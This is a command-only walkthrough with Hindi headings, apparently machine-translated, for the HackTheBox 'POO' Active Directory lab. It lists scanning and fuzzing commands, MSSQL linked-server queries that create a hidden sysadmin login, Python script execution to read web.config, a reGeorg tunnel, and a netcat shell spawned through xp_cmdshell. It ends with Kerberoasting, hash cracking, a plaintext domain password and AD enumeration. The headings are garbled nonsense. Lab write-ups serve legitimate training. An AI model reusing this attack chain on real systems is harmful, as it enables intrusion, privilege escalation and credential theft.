HackTheBox एंडगेम। प्रयोगशाला व्यावसायिक आक्रामक संचालन पास करें। Pentest सक्रिय निर्देशिका

पहचान

झंडा फहराओ

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

nmap -A poo.htb -p80,1433

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

python3 dsstore_crawler.py -i http://poo.htb/

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

हुह झंडा

SELECT name FROM master..syslogins;

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

SELECT * FROM master..sysservers;

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');

SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

पीछे का झंडा

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

चिकना झंडा

P00ed झंडा

setspn.exe -T intranet.poo -Q */*

dism /online /enable-feature /all /featurename:IIS-ASPNET45

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

proxychains rlwrap nc poo.htb 4321

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds